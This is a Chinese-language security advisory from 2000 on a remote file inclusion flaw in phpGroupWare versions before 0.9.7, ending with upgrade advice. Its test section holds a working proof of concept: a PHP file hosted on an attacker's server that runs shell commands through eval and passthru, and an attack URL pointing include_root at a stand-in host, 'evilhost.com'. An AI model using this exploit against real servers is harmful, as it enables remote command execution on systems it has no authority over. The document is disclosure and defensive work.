phpGroupWare 远程执行命令漏洞
发布日期:2000-12-08
更新日期:2000-12-08
受影响系统:
phpGroupWare 0.9.7以前版本(for Unix)
不受影响系统:
phpGroupWare 0.9.7(for Unix)
描述:
phpGroupWare是用PHP编写的基于Web的多用户群件程序。
由于它不正确的调用了include()函数,可能允许包含远程的恶意文件,并导致
在受影响主机上执行任意命令。(以web server运行权限,通常是'nobody')
由于phpGroupWare的库包含文件放在浏览器可访问的目录下,因此攻击者可以
直接调用这些包含文件,由于其中的一个包含文件phpgw.inc.php是用include
函数时是通过变量完成的,用户可以通过Web接口定义这个变量的内容,导致
远程主机上的文件可以被包含进来。如果攻击者设置一个有效的php文件,就
可能在受攻击的主机上执行任意命令。
有问题的代码部分,如下:
include($phpgw_info["server"]["include_root"] .
"/phpgwapi/phpgw_info.inc.php");
<*来源:Secure Reality Pty Ltd. Security Advisory #6 (SRADV00006)
http://www.securereality.com.au
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
攻击者可以在某个自己控制的主机上建立一个目录phpgwapi,并在下面创建一个
phpgw_info.inc.php文件,其内容如下:
<?php
// PHP code to be executed
$phpcode = '
echo("Hi there!<BR>");
passthru("id");
';
// If we were called via remote include, send the code to be
// executed
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
echo("<?php $phpcode ?>");
else
// Otherwise we're being executed on the target web server already,
// so simply evaluate the code
eval($phpcode);
exit();
?>
则调用下列命令可能发动攻击:
http://target/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=
http://evilhost.com/~shaun
建议:
厂商补丁:
NSFOCUS建议您尽快升级到phpGroupWare的最新版本:0.9.7
下载地址:
http://sourceforge.net/project/showfiles.php?group_id=7305
浏览次数:5454
严重程度:0(网友投票)